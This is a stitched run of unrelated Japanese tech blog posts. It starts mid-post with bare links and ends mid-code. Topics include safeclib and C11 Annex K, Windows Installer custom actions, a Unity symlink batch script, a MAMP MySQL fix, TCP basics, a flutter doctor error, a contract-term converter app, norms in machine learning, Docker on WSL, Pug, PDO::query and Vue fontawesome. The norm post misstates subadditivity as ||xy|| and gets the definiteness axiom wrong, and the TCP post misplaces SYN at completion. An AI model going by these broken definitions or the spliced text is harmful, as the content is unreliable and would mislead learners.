https://stackoverflow.com/questions/57915149/using-c11-standard-with-clang-for-use-of-strcpy-s
https://stackoverflow.com/questions/47867130/stdc-lib-ext1-availability-in-gcc-and-clang/50921096#50921096
https://stackoverflow.com/questions/372980/do-you-use-the-tr-24731-safe-functions/373911#373911

以下に，C11 Secure Extension についてまとまっている．
https://github.com/rurban/safeclib/blob/master/doc/libc-overview.md

## safeclib を compile して動かす

上記の記事は safeclib ライブラリの Github Repository のドキュメントの一部だった．これはタイトルどおり，C11 Annex. K 実装らしい．

safec libc extension with all C11 Annex K functions
https://github.com/rurban/safeclib

こいつをビルドして，直接 include して動かしてみることにする．
Github の Building あたりを眺めて入れようとすると，ローカルの Mac にライブラリが足りなかったので brew でいれる．

```bash
brew install automake libtool
```

Building まで．むやみに `make install` で環境を汚すのは感心しない．

```bash
./build-aux/autogen.sh
./configure
make
```

## 実際に動くまで

build が通ると，以下のような状態になっている．

```bash

(抜粋)
$ tree safeclib
safeclib
├── Makefile
├── include
│   └── safe_lib.h
├── src
│   ├── .libs
│   │   ├── libsafec-3.5.a
```

他にもいろいろあるけど，上記が実体なので取り急ぎほかは気にしなくてよい．

試しにサンプルコード(test.c)を動かしてみる．

```c
$ cat test.c
#include <stdio.h>
#include "./safeclib/include/safe_lib.h"

int main()
{
    char buf[10];
    char* ret;
    ret = gets_s(buf, 10);

    printf("out: %s\n", ret);
    printf_s("test\n");

    return 0;
}
```

適当にコンパイル．warning 出るかもだけど，safeclib でパスは通るから気にしない．

```bash
gcc safeclib/src/.libs/libsafec-3.5.a test.c
```

実行．9 文字以下を渡すとそれっぽく動く・・はず．
※ なぜか，8 文字以下じゃないとエラーになるが・・(調査中)

```bash
$ ./a.out
1234567
out: 1234567
test
```

ひとまずこれで Annex．K が触れるようになった．
Windows Installer手引書 Part.12 カスタムアクションの種類

[**前の記事へ**](https://qiita.com/tohshima/items/f5aca8154ec6bcead8cd)　　[**目次へ**](https://qiita.com/tohshima/items/dc4c4721d50a2ad70c7a)　　[**次の記事へ**](https://qiita.com/tohshima/items/8d1d7e702d58dc1429d2)

## カスタムアクションの種類

はじめに、どのような機能をどのような手段で実現できるのか、紹介していきます。

## DLL  

DLLの関数をカスタムアクションとして呼び出すことができますが、独特のルールに沿って実装する必要があります。関数の引数と戻り値は自由に使うことができないため、プロパティ経由で情報の入出力を行います。こういった制限のため、カスタムアクション専用のDLLを作成することになります。

DLLを使ったカスタムアクションは、C言語でWin32 APIを使った実装を行うのが一般的だと思いますが、C#等で記述する例もあるようです。しかし、C言語で記述すればVisual C Runtimeライブラリや.NETライブラリに依存しないコードが書けますし、プログラムサイズを抑えることもできます。インストーラーはどのような環境でも動くことが求められることが多く、またプログラムサイズが小さければダウンロード時間が短くなるユーザーメリットもあります。

何を使ってDLLを書くかは、どのような環境でインストーラを使う想定なのか、によって変わってくるのだと思います。より多くの環境でトラブルなく使ってもらうには、ライブラリに頼ったDLLを使うべきではありません。依存するライブラリが予期せず消えてしまえば、アンインストールもできなくなってしまいます。逆に、この特性さえ理解していれば、積極的に利用する、という選択肢もあり得ます。例えば、
**これこれのバージョンのOSがターゲットであり、最初からOSにこのライブラリが含まれているから常にライブラリが利用可能である、**
といった判断も可能だと思います。

## EXE

インストール先環境で動くプログラムなら、制約なく呼び出せます。一般的にはコンソールアプリケーション（CUIのプログラム）を使うことになると思いますが、GUI付きのプログラムも起動できます。呼び出すプログラムに情報を与えるにはコマンドライン引数を使えますが、呼び出したプログラムから情報を返すには工夫が必要です。独自にコマンドを作成する場合は、レジストリ経由で値を戻すのが最も簡単ですが、OSのコマンドが標準出力に吐き出した情報を利用する必要がある場合もあります。よく使うのは`net.exe`、`netsh.exe`、`sc.exe`などWindows Installerが直接サポートしない機能の利用や、`cmd.exe`を使ったコマンドシェルからの内部コマンド[^2]の利用などでしょう。

## VBScript/JScript

Windows InstallerではVBScript、JScriptでカスタムアクションを記述することができます。しかし、一般的にセキュリティ上の問題や、そもそも動かなくなる可能性があることから、**本番では利用すべきではない**と思います。過去には、ウィルス対策ソフトの影響でインストーラーに組み込まれたVBScript、JScriptのカスタムアクションが機能せずインストールに失敗する、という事例もありました。

ここでわざわざ「**本番では**」と書いたのは、テストや実験では大いに役立つからです。プロパティの内容をダイアログボックスに表示したり、ちょっとした文字列操作をしたり、スクリプト言語ならではの簡便さを活かしてWindows Installer単体ではできないことや難しいことが簡単に実現できます。気を付けなければならないのは、インストーラーからはWScriptオブジェクト（Windows Scripting Hostのルートオブジェクト）を利用できない、ということです。色々便利そうな関数があるのに残念ですね。また、あまりの手軽さからこのまま本番で使いたくなります。危険ですので誘惑に負けないよう、ご注意下さい。

## Error Message

インストールのエラーが発生したとき、メッセージを表示してインストールを中断させる機能です。エラーに限らず、Conditionとして設定した条件が成立したら、特定のメッセージを表示してインストールを中断します。このアクションを利用するにあたってプログラムやスクリプトを用意する必要はなく、Conditionの設定とメッセージの準備だけが必要になります。

インストーラー本来の使い方としては、これがすべてなのですが、実はデバッグで役に立つアクションでもあります。例えば監視したいプロパティを表示するよう設定しておけば、プロパティの内容を表示した後、ロールバックしてこれまでの処理を全て戻してくれます[^1]。テストを実施する毎にテスト環境のOSをきれいに戻す必要がなく、効率的に実験やテストを進めることができます。

## Set property

プロパティを設定するためのアクションです。このアクションも、プログラムやスクリプトは必要ありません。他のアクションに必要なデータを渡すために使用するケースがほとんどではないかと思います。また例えば、ユーザーに表示するメッセージにプロパティが含まれていると、プロパティが文字列に置換されないこともあるので、このアクションを使って文字列に展開させてから使うこともあります。

## Set Dir

Componentで使用するDirectryの値を設定することができます。Conditionに設定した条件によってインストール先を変える、などの用途が考えられます。このアクションも、プログラムやスクリプトは必要ありません。インストール先の状況を他のカスタムアクションで取得してインストール先を変えたり、インストールウィザードでユーザーが入力した情報をもとにインストール先を変える、などに利用できそうです。[^3]

[**前の記事へ**](https://qiita.com/tohshima/items/f5aca8154ec6bcead8cd)　　[**目次へ**](https://qiita.com/tohshima/items/dc4c4721d50a2ad70c7a)　　[**次の記事へ**](https://qiita.com/tohshima/items/8d1d7e702d58dc1429d2)

[^1]: もちろんロールバックが正しく実行できることが前提なので、これ以前に実行したカスタムアクションは正しくロールバックできるよう、十分テストしておく必要があります。
[^2]: 独立したプログラムとしてexeのファイルは存在しないが、コマンドプロンプトから実行できるコマンドのこと。例えば、dirやcdなど。
[^3]: 私はこのアクションを使ったことがありません。インストール先をインストール時にダイナミックに変える、という状況はあまりないような気がします。巨大なデータの置き場所を指定する、などですかねー。
【Unity】同じプロジェクトで複数起動したい

Unityで同じプロジェクトで複数起動したい場合が稀によくある。
ネットワークゲームとか、ネットワークゲームとか、ネッ…(おっと誰か来たようだ)
内容は今更ですが、現状と問題点について。

# 現状

特定のフォルダを無理やりシンボリックリンクすることで、
同じプロジェクトを共有して起動することが可能。
というか今もまだコレ。他にいい方法があったら教えてほしい。

参考:
http://tsubakit1.hateblo.jp/entry/2015/08/10/012452#fn-2f2cce2f
# 問題点

1. 重い
片方のAssetsは弄らないので、GUI部やアセットの操作関連の処理は不要。
理想はゲームのランタイムview部分だけ表示したい。(UE4はある)

2. 両方でコンパイルが走るとクラッシュ
例えばVisualStudioでコードを編集した後、両方のEditorにフォーカスした場合
両方でコンパイルが競合して運が悪いとクラッシュしてしまう。

# おまけ(シンボリックリンク生成バッチ)

毎回手動でシンボリックリンクを貼るのは手間なので、
シンボリックリンク生成バッチを作ってみた。

```
openfiles > nul
if errorlevel 1 (
    PowerShell.exe -Command Start-Process \"%~f0\" -Verb runas
    exit
)

SET ROOT_PATH=%~dp0
SET BASE_PROJ=%ROOT_PATH%project
SET LINK_PROJ=%ROOT_PATH%project_symlink

if not exist %LINK_PROJ% (
mkdir %LINK_PROJ%
)
cd %DEST_PROJ%
mklink /d %LINK_PROJ%\Assets %BASE_PROJ%\Assets
mklink /d %LINK_PROJ%\ProjectSettings %BASE_PROJ%\ProjectSettings
mklink /d %LINK_PROJ%\Library %BASE_PROJ%\Library
mklink /d %LINK_PROJ%\Packages %BASE_PROJ%\Packages

```
MAMPでMySQL Serverだけ停止しない場合の対処法(phpMyAdmin編)

ネットで検索するときに「MYSQL 停止」と調べると、MYSQLが起動しないときの対処法などが多く出てくるため、同じような状況になってしまった人向けにこの記事を書きます
#どのような状況か
「Stop Server」をクリックした際に、「Apache Server」は閉じる(緑の丸がグレーになる)が「MySQL Server」のみ閉じずに終了動作が終わってしまう状況。
また、再度「Start Server」をした際に、Welcome to MAMPにはいけるがphpMyAdminにログインする際に<img width="1155" alt="スクリーンショット 2019-10-15 1.43.43.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/443678/276030bd-889d-0882-5318-e79a9e77a8ad.png">
このようなエラーが発生してしまう。
#対処法
対処法としてはずっと起動しているMySQLを閉じてしまえばいいだけの話なので、開いているか閉じているかを判断しているファイルを削除してしまえば良い
>~/アプリケーション/MAMP/tmp/mysql

の中にあるmysql.pidを削除することでServerが閉じます(もう一つmysql.sock.lockというファイルもある場合はそちらも削除すると良いかもです)
ここで一度Serverを閉じれたので再度Startをするとログインできるはずです。
#なぜ発生してしまったのか
MAMP経由でServerを正常に閉じない状況で、アプリを強制終了させたり、PCをシャットダウンさせたりすることにより、通常だったらMAMPが勝手に削除をしてくれるファイルが残ってしまったのが今回の発生原因。
ちなみに、今回のような状況はDBを扱っているアプリ(Dockerとか)でよく起こってしまうような気がします。
【TCP/IP入門】TCPは何をしている？その役割と構造を紹介

今回も前回に続いてネットワークに関して調べたことを書き出したいと思います。

# TCPとは
TCPはTransmission Control Protocolの頭文字をとったものであり、トランスポート層のプロトコルの一種であり、現在のWebにおけるほとんどの通信に置いて使われています。

特徴としてはデータをセグメントに分けて送受信し、確実に届けるために送信速度や、再送の手配など通信における大きな役割を果たします。

例えば１０キロバイトのデータを送信して、５キロバイト分のデータ確認応答しか返ってこなかった場合、不足した５キロバイト分のデータを再送します。

# TCPの構造
TCPのデータはセグメントに分けられ、それぞれのセグメントのヘッダーは下記のような構造になっています。

・送信元ポート番号
・宛先ポート番号
・シーケンス番号→送信済みのバイト数
・確認応答番号→受信済みのバイト数
・データオフセット→ヘッダーの長さ
・予約
・コントロールフラグ→現在の状況を相手に伝えて通信を制御する
・ウインドウサイズ→まとめて受信可能なサイズ
・チェックサム→データの状態をチェック
・緊急ポインタ
オプション設定
パディング

コントロールフラグの種類
・CWR→混雑のため送信量減少
・ECE→混雑のため受信に影響あり
・URG→緊急ポインタで指定データの処理が要される
・ACK→確認を伝播。確認応答番号とセット
・PSH→受信データをするにアプリケーション層に渡す必要があることを伝播
・RST→異常のため説ゾン強制終了
・SYN→接続を開始する際にオン
・FIN→送信完了で終了の旨を伝播


# TCPにおける通信の流れ
TCPの通信はコネクションの確立からスタートします。この確立は３ステップかけて行われます。（３ウェイハンドシェイクと呼ばれます）

コネクションが確立するとデータを転送できる状態になり、データを送り終えたらコネクションを終了します。

通信完了の際は先ほど紹介したコントロールフラグにおけるSYNをオン、終了の際はFINをオンにします。通信の間はACKがパケットが届いたことを表します。もしACKが返ってこない場合は届かなかったことがわかります。

また、コネクション確立の際にはヘッダーにあるシーケンス番号とセグメントの最大値をすり合わせます。

例えば、クライアントとサーバー間でセグメントの最大値が異なる場合には、小さい方が採用されます。

最後に、通信データを送り終えたらコネクションを終了します。



# 通信の高速化と調整
上記で紹介したように確認応答を待ってから次のデータを送るのでは、あまりにも通信が遅くなってしまうので、応答を待たずにまとめてデータを送ることで高速化することも可能です。
 
この場合通信の失敗は、同じ応答番号が続いた時などで判断します。

また、まとめて受信できる容量に関しては、ヘッダーのウィンドウサイズにバッファの空き容量を記載することでお互いに認識しあいます。これはパソコンの性能が低い場合などに、通信速度に追いつかないことがあるためです。ウィンドウサイズに記載した空き容量を確認して、データの送信量を調整することが可能なのです。

仮にバッファが満杯になってしまうと、ウィンドウサイズに０が記載されて送られ、通信はストップします。

また、PCの処理速度だけでなく、ネットワーク経路の混雑などで、通信速度を落とす必要がある場合もあります。その際は、コントロールフラグのECEとCWRを立ててやり取りすることで、通信速度を落とします。


以上がTCPにおける通信になります。
flutter doctor 実行時に ideviceinfo のエラー（エラーコード -17）が発生したときの対応

# flutter doctor 実行時に ideviceinfo でエラー

`flutter doctor` 実行時に ideviceinfo がエラー（エラーコード -17）を返した。エラー発生時の出力メッセージは以下のとおり。

```bash
$ flutter doctor -v
[✓] Flutter (Channel stable, v1.9.1+hotfix.4, on Mac OS X 10.15 19A583, locale ja-JP)
• Flutter version 1.9.1+hotfix.4 at /Users/keiichi/flutter
• Framework revision cc949a8e8b (2 weeks ago), 2019-09-27 15:04:59 -0700
• Engine revision b863200c37
• Dart version 2.5.0

⢿ideviceinfo returned an error:
ERROR: Could not connect to lockdownd, error code -17

#0 IMobileDevice.getInfoForDevice (package:flutter_tools/src/ios/mac.dart:228:9)
<asynchronous suspension>
#1 IOSDevice.getAttachedDevices (package:flutter_tools/src/ios/devices.dart:184:55)
<asynchronous suspension>
#2 IOSDevices.pollingGetDevices (package:flutter_tools/src/ios/devices.dart:117:57)
#3 PollingDeviceDiscovery.devices (package:flutter_tools/src/device.dart:270:52)
<asynchronous suspension>
#4 DeviceManager.getAllConnectedDevices (package:flutter_tools/src/device.dart:136:46)
<asynchronous suspension>
#5 DeviceValidator.validate (package:flutter_tools/src/doctor.dart:760:54)
<asynchronous suspension>
#6 Doctor.startValidatorTasks (package:flutter_tools/src/doctor.dart:140:52)
#7 Doctor.diagnose (package:flutter_tools/src/doctor.dart:211:41)
#8 _AsyncAwaitCompleter.start (dart:async-patch/async_patch.dart:43:6)
#9 Doctor.diagnose (package:flutter_tools/src/doctor.dart:201:24)
#10 DoctorCommand.runCommand (package:flutter_tools/src/commands/doctor.dart:59:39)
#11 _AsyncAwaitCompleter.start (dart:async-patch/async_patch.dart:43:6)
#12 DoctorCommand.runCommand (package:flutter_tools/src/commands/doctor.dart:45:42)
#13 FlutterCommand.verifyThenRunCommand (package:flutter_tools/src/runner/flutter_command.dart:490:18)
#14 _asyncThenWrapperHelper.<anonymous closure> (dart:async-patch/async_patch.dart:71:64)
#15 _rootRunUnary (dart:async/zone.dart:1132:38)
#16 _CustomZone.runUnary (dart:async/zone.dart:1029:19)
#17 _FutureListener.handleValue (dart:async/future_impl.dart:137:18)
#18 Future._propagateToListeners.handleValueCallback (dart:async/future_impl.dart:678:45)
#19 Future._propagateToListeners (dart:async/future_impl.dart:707:32)
#20 Future._completeWithValue (dart:async/future_impl.dart:522:5)
#21 Future._asyncComplete.<anonymous closure> (dart:async/future_impl.dart:552:7)
#22 _rootRun (dart:async/zone.dart:1124:13)
#23 _CustomZone.run (dart:async/zone.dart:1021:19)
#24 _CustomZone.runGuarded (dart:async/zone.dart:923:7)
#25 _CustomZone.bindCallbackGuarded.<anonymous closure> (dart:async/zone.dart:963:23)
#26 _microtaskLoop (dart:async/schedule_microtask.dart:41:21)
#27 _startMicrotaskLoop (dart:async/schedule_microtask.dart:50:5)
#28 _runPendingImmediateCallback (dart:isolate-patch/isolate_patch.dart:116:13)
#29 _RawReceivePortImpl._handleMessage (dart:isolate-patch/isolate_patch.dart:173:5)
```

# 解決方法

手元でエラーが発生した時には、 Mac の USB ポートに iPhone を接続していた。そこで、[このコメント](https://github.com/flutter/flutter/issues/24600#issuecomment-496414645)を参考にして、 iPhone がつながっている USB ケーブルを抜いて接続を解除してから再び `flutter doctor` を実行してみた。すると今度はエラーが発生しなくなった。

自力では思いつかない方法だったので、これで解決できたことに驚いた。
契約書について書くときに僕が語ること変換器を支える技術

 
そういえば7月に作ったコレの話をどこかで振り返りたいと思ったので書きます。
https://bokukimi.godan.dev/


リポジトリはこちら
[Godan/HarukiMurakamiContractBookGenerator: 契約書をコピペすると「甲」と「乙」を「僕」と「君」に変換したら、読みやすくなって村上春樹さんっぽくしてくれるWebサイトを作りました 手持ちの契約書 を情緒あふれる文にしよう](https://github.com/Godan/HarukiMurakamiContractBookGenerator)

## コレは何なのか

これはもともとTwitterで話題になっていた契約書の甲乙を僕君に直したら読みやすいという話から実際に手元にある契約書で試してみたいとふと思ったのでサクッ作ったものになります。
[契約書の「甲」と「乙」を「僕」と「君」に変換したら、読みやすくなって村上春樹さんっぽくなってしまう - Togetter](https://togetter.com/li/1380182)

本当にしょうもないし、簡単なWebアプリですが、自分の周りで紹介したらそれなりに受けました。

## つかった技術

- Nuxt
- Vuetify

仕組みは入力に対して正規表現で入れ替えるという至極単純なものです。

コアの部分はたったの5行!

```javascript=
convart(text) {
   var out = text.replace(/甲/g, '僕');
   out = out.replace(/乙/g, '君');
   return out
  }

```

作成時間3時間   
デプロイまで5時間
自分のサービス開発では最高記録になりました。   


## 契約書は創作物に当たるのか?著作権は誰にあるのか?

今回サンプルを事前に設定しておくにあたって、契約書をどこからか拝借してくる必要がありました。  

実際のサービスから拝借してくるのは論外ですが、公開されているテンプレートなどをつかっても問題ないかが気がかりでした。
いくつかの弁護士の方々が書いたサイトを見た結果**契約書は創作物に当たらず、著作権は無い**という結論になりました。

根拠としては過去の裁判での前例と参考にしたサイトの次の部分です。

> 契約書であれば、全て著作物性がないとまではいえないが、多くの契約書は、契約の内容（これ自体に著作権が発生しないことは明白である）を通常の方法で文章可したに過ぎず、創作的な表現とは言えないであろう。
> [（法律）他の人が作った契約書を流用・コピペしていいのか？契約書の著作権は？](https://fxatty.com/contract_chosakubutsu/)



参考)  
- [他人の契約書をコピペしていいの？～契約書の著作権: 中小企業の顧問弁護士・金沢市の弁護士内田のブログ](http://uchida-houritsu.sblo.jp/article/92790905.html)
- [（法律）他の人が作った契約書を流用・コピペしていいのか？契約書の著作権は？](https://fxatty.com/contract_chosakubutsu/)


そこでイラストの作成業務の委託契約書をGitHubに公開している方がいたのでそちらの方を使わせていただきました。
[dskjal / contract-with-illustrator：イラスト作成業務の委託契約書](https://github.com/dskjal/contract-with-illustrator)




## なぜ作ったのか

社内の分報にたまにあったら面白そうだなーというもの書いてるんですが、次の日たまたま時間が開いた時にOCRではなくてまずWEB上でやれるようにするだけでも面白いのでは?と思って作り始めました。  
なぜ?と聞かれると「面白そうだったから」としか言いようが無いんですが、たまには思いつきだけで突っ走るのも楽しいと思います。
![](https://i.imgur.com/VJlVJGf.png)


ちょうど個人開発が止まっていたこともあって、普段の仕事の10倍以上の集中力で作業に取り掛かりました。  

途中うまくVuetifyが使えず見た目がを整えるに時間がかかりましたが、3時間という過去最高記録を出せたので満足です。

![](https://i.imgur.com/8TQecrl.png)

次の日の夜には完成してTwitterで告知を打ちました。
https://twitter.com/godan09/status/1155140290295939072?s=20

Twitterのアナリティクスはこんな感じ。自分の中では十分多いですが、「バズってる」とは言い難いですね。今後とも精進していきたいともいます。
![](https://i.imgur.com/l81pEc4.png)

またGoogleAnalyticsを入れて様子も伺うようにしました.
リリース直後は100pvくらいで最近は一週間に6pvという雑魚ですが、それでもたまにつかってる人が居るっぽいのが嬉しですね。  
実際契約書読む仕事をしているひとに「確かに面白いのでたまに使いますねー」と言われたて喜んだりしていました。


## 問題

現在発生している問題は次のものですが、特に修正する予定はありませんプルリクをお待ちしています


- 「甲乙つけ難い」が「僕君つけ難い」になる
- 「僕君」以外が選べない
- スマホで表示しづらい

## 反省

今回はスピードを優先するにあたってNuxtを使いました、本当は今まで使っていない技術を勉強がてらに使うべきだったと思っています。Reactとかそろそろちゃんとやりたい。  
あと、スマホ対応を忘れていたのが痛かったです。ネットでバズるにいはスマホ対応が必須だと思います。  
実際GoogleAnalyticsで確認したところスマホで閲覧しているのが6割でした。これではバズる以前にユーザーに優しくありません。今後ネタアプリでもしっかりUXを設計出来るようになりたいですね。
またTweetの投稿時間が深夜だったのも目が付きづらかったのではないかと推測してます。  

こういった個人サービスの告知の仕方をまとめてる同人誌がほしい…

## 終わりに

こういったものを思いついたときは新しい技術や環境を試してみるいい機会です。積極的に今後もやっていこうと思います。

みんな!
もっと思いつきでしょーもないアプリいっぱい作ろうぜ!

あ、多分この話を掘り下げたものを↓で話すと思うので何卒!
[【エンジニア交流会】趣味でそこまでやっちゃうのか！趣味テックLT大会 - connpass](https://gaiax.connpass.com/event/147227/)
【機械学習】ノルムの定義について理解しようと努める。

# はじめに
ノルムという単語は機械学習を触っているとそこそこの頻度で目にする。
正直な話、過学習防止用の何某という認識しかなかった。

あるとき、[機械学習関連の書籍](https://www.kspub.co.jp/book/detail/1529106.html)を読んでいると、ノルムの定義について以下のように書かれていた。

***
関数  $\begin{Vmatrix}·\end{Vmatrix}:ℝ^d \rightarrow ℝ$  が3つの性質


1. 斉次性　　：任意の$\alpha\inℝ,x\inℝ^d$に対して、$\begin{Vmatrix}\alpha x\end{Vmatrix} =|\alpha| \begin{Vmatrix}x\end{Vmatrix}$
2. 劣加法性　：$x,y\inℝ^d$ に対し、 $\begin{Vmatrix}xy\end{Vmatrix}\leq \begin{Vmatrix}x\end{Vmatrix} + \begin{Vmatrix}y\end{Vmatrix}$
3. 独立性　　：$x=0 \Rightarrow \begin{Vmatrix}x\end{Vmatrix} = 0$

を満たす時、 $\begin{Vmatrix}·\end{Vmatrix}$ はノルムである。
***

よくわからない。**脳が理解を拒んでいる**。

とはいえ、ハイパーパラメータに何度も突っ込んでいるノルムを全く知らないのは問題だと思い、
理解できるサイズまで分解してみた。

# ノルムの定義を分解する。
はじめに、$\begin{Vmatrix}·\end{Vmatrix}:ℝ^d \rightarrow ℝ$ を分解する。

1. $\begin{Vmatrix}·\end{Vmatrix}$
 ノルム自体を意味する。

2. $ℝ^d$
 d次元実ベクトル空間(d次元の実数で構成されたベクトル)

3. $ℝ^d \rightarrow ℝ$
 d次元実ベクトルから実数へ

つまり、関数 $\begin{Vmatrix}·\end{Vmatrix}:ℝ^d \rightarrow ℝ$ は
**ノルムはd次元ベクトルから実数へ計算する関数である**
と言い換えられる。

つまり、d次元ベクトルを実数へ変換するような関数のことをノルムと言える
(※上記の三性質を満たす場合)

次に上記の三性質について分解する。

## 斉次性
**せいじせい**と読むらしい。

1. $\begin{Vmatrix}\alpha x\end{Vmatrix}$
 実数$\alpha$、ベクトルxのノルム表現

2. $|\alpha|$
 実数$\alpha$の絶対値表現

3. $|\alpha|$$\begin{Vmatrix}x\end{Vmatrix}$
 ベクトルxのノルムの$|\alpha|$倍

つまり
ベクトルxの実数倍のノルムは、実数の絶対値×ベクトルxのノルムとすることが出来る。

## 劣加法性
**れつかほうせい**と読むらしい。

1. $\begin{Vmatrix}x + y\end{Vmatrix}$
 ベクトルx + ベクトルy のノルム表現

2. $A \leq B$
 AはB以下である。

3. $\begin{Vmatrix}x\end{Vmatrix} + \begin{Vmatrix}y\end{Vmatrix}$
 
つまり、ベクトルx + ベクトルyのノルムは、
ベクトルxのノルム + ベクトルyのノルム以下の値になる。

## 独立性
**どくりつせい**と読むらしい。()

よくよく見ると難しく書かれていない、
ベクトルxが0の時、xのノルムは0になる

# まとめ
つまりノルムとは、
**上記3性質が当てはまるd次元ベクトルから実数へ計算する関数**
と自分は理解した。

小難しく書かれていたが、細かく分解することで理解できた。ような気になれた。

**※間違っている箇所があればご指摘いただけると幸いです。**
WSL+UbuntuでDockerを動かしてみる

# WSL+UbuntuでDockerを動かしてみる
WSLにCentOSが選択できないことに嘆きつつ、Ubuntuでやってみることの作業メモを記す。
調べたところ、WSLでDonckerを動かしのは簡単では無いらしいがとりあえずやってみる。

Ubuntuは念のため管理者モードで起動している。

## Ubuntuのバージョン
```
$ cat /etc/issue
Ubuntu 18.04.2 LTS \n \l
```
## Dockerをインストールしてみる
```
$ sudo apt update && sudo apt upgrade -y
$ sudo apt install -y docker.io
$ sudo usermod -aG docker $USER
$ sudo cgroupfs-mount
$ sudo service docker start
```
Dockerのバージョンを確認してみる

```
$ docker version
Client:
 Version:           18.09.7
 API version:       1.39
 Go version:        go1.10.1
 Git commit:        2d0083d
 Built:             Fri Aug 16 14:20:06 2019
 OS/Arch:           linux/amd64
 Experimental:      false
Got permission denied while trying to connect to the Docker daemon socket at unix:///var/run/docker.sock: Get http://%2Fvar%2Frun%2Fdocker.sock/v1.39/version: dial unix /var/run/docker.sock: connect: permission denied
```
何やらエラーがでる。困った。

どうも、Ubuntuの再起動で治ることがあるらしい。
と言うことで、再度管理者モードで起動して以下コマンド

```
$ sudo cgroupfs-mount
$ sudo service docker start
$ sudo service docker status
 * Docker is running
```
Dockerは動いてるようだ。
祈りを込めて、Version確認

```
$ docker version
Client:
 Version:           18.09.7
 API version:       1.39
 Go version:        go1.10.1
 Git commit:        2d0083d
 Built:             Fri Aug 16 14:20:06 2019
 OS/Arch:           linux/amd64
 Experimental:      false

Server:
 Engine:
  Version:          18.09.7
  API version:      1.39 (minimum version 1.12)
  Go version:       go1.10.1
  Git commit:       2d0083d
  Built:            Wed Aug 14 19:41:23 2019
  OS/Arch:          linux/amd64
  Experimental:     false
```
動いた！！！

最後にハローワールド

```
$ docker run hello-world
Unable to find image 'hello-world:latest' locally
latest: Pulling from library/hello-world
1b930d010525: Pull complete                                                                                             Digest: sha256:c3b4ada4687bbaa170745b3e4dd8ac3f194ca95b2d0518b417fb47e5879d9b5f
Status: Downloaded newer image for hello-world:latest
docker: Error response from daemon: transport is closing: unavailable.
ERRO[0010] error waiting for container: context canceled
```

んーーーダメらしい。
記事にはしてないけど、以前やったときはdocker versionでこけたので
前進はした。前進は。

Docker 17系だと動くという記事を見るので最新では動かないのだろうか。
兎に角眠いのでまた次回挑戦します。

## 追記
どうもおうちのWindows１０ HOMEでは無理らしい。。
WSL２なるものがあり、そちらならできそうで、ただまだリリースされてな状況。
こまった。
人生初のpugをやった時につまづいたこと

gulpを使ってSass(Less)を使ったことはあったが、pugはなんだかんだ一度もやったことがなかった。
会社ではPHPのみを扱っているので、今の所不便に感じる事は全くない。しかし、pugはどうやらタグのつけ忘れがないのが利点らしい。という噂を聞いたので、やってみた。

込み入った事をすると手間取った箇所があるので、今回はpugでつまづいた事をまとめるとする。

# 環境
gulp version: 4.0.2
gulp-pug ver 2.0.4

# 変数の設定が癖がある

一つだけ変数を定義する場合は

```
- var pageName = 'ページ名'
```
と、最初にハイフンを付ける必要があります。
ハイフンをまとめてつけることもできて、

```
-
  var page_title =　'テストページ'
  var page_desc = 'ページ詳細'

```

と設定できます。
そこで、躓いたのは、**ハイフンのインデントも含めての変数**だということ。

```
-
var page_title =　'テストページ'
var page_desc = 'ページ詳細'

```
これでは動かない。pugだと思ったら当たり前なんだけど、変数をつけたいと思ったら忘れてしまっていた。

# 変数の表示に種類がある

HTMLのタグの中身として使う場合は

```
.class #{item.num}
```
と、`#{変数}` で表示される。
しかし、画像やリンクの中身、つまり括弧の中に変数表示する場合は

```
img(src="img/"+item.image+".jpg")
```
`"+変数+"`を間に挟み込み、かっこから出して表示させる必要がある。

# extendsが難しい

最初、extendでファイルを読み込んでいたが、変数を設定したらエラーが出てしまった。
どうやらextendは表示する型のようなもので、blockで囲まれているところはextendされたファイルで**書き換えができる***模様。

page2.pugに`extends page1.pug`のみが書かれている場合、
**page1.html(page1.pugの書き出し先)とpage2.html(page2.pugの書き出し先)は同じ内容**になる。

そして、page1.pugにblockで囲まれている箇所は、**page2.pugで上書きすることが出来る。**

なお、extendではなくextendsである。

# mixinの引数は、一つ指定するなら全部指定する必要がある。

```
mixin contents(site_name='サイト名',site_catch='キャッチフレーズ')
    .contents
        h1 #{site_name}
　　　　 p #{site_catch}
```
というmixinがあったとすると

```
+contents() //動く
+contents('ページ名') //動かない
+contents('ページ名,'ページキャッチ') //動く
```
というように、引数を指定するならば全て指定する必要がある。
PHPと違う仕様で戸惑いやすい。

# インラインが難しい

```
<p>こちらでは<span>新着情報</span>をおしらせします。</p>
```
と表示させたい場合以下の場合ではpタグが囲ってくれなかった。

```
// 失敗：<p>こちらでは</p><span>新着情報</span>をお伝えします。
p こちらでは
span 新着情報
| をお伝えします。
```
どうやら、パイプラインの使い方を間違っていた模様。

```
// 成功: <p>こちらでは<span>新着情報</span>をおしらせします。</p>
p こちらでは
  span 新着情報
  | をおしらせします。
```

```
// 成功: <p>こちらでは<span>新着情報</span>をおしらせします。</p>
p
  |　こちらでは
  span
    |   新着情報
  | をおしらせします。
```
というように、spanはインデントをつける必要がある。brタグも同様。

# （余談）gulpのver.4からの仕様が変わったことに戸惑い

pugを動かすのに半年ぶりぐらいにgulpを動かしたら、結構仕様が変わっていた。
returnで変数が必須になったり、`exports.default`でタスクを結合出来たり。
フロントのアップデートが早い事を実感した。
【備忘録】queryの使い方を理解する

#目的
PDO::queryを理解する

#参考資料
[PDO::query](https://www.php.net/manual/ja/pdo.query.php)

##PDO::queryとは

>PDO::query — SQL ステートメントを実行し、結果セットを PDOStatement オブジェクトとして返す

SQLステートメントとは、
リレーショナルデータベースの標準的な操作言語である「SQL」で生成した命令文である。

「PDOStatmentオブジェクトを返す」とは？？？
[PDOStatement クラス ](https://www.php.net/manual/ja/class.pdostatement.php)
> プリペアドステートメントを表します。ステートメント実行後は関連する結果セットを表します。


データーベースから取得した値をPDO::Statemetオブジェクトとして返す。

***よって、PDO::Statmentのメソッドを使うことができるようになり,PDOのfetchメソッドで値を取得することができる。***

[PDO:query()](https://www.php.net/manual/ja/pdo.query.php)

>PDO::query() の優れた機能は、 実行に成功したSELECTステートメントにより返されたレコードセットで 反復処理が可能であることです。



#まとめ
queryは、PDO::statmentオブジェクトで返すため、fetch,またfethallメソッドでデータ取得することができる。
Vueでfontawesomeのtwitter（ブランド）アイコンを表示する方法

パッケージをインストール

```
$ npm install @fortawesome/fontawesome-svg-core @fortawesome/vue-fontawesome @fortawesome/free-solid-svg-icons @fortawesome/free-regular-svg-icons @fortawesome/free-brands-svg-icons
```

Vueコンポートネントに登録

```js
//main.js
import { library } from '@fortawesome/fontawesome-svg-core';
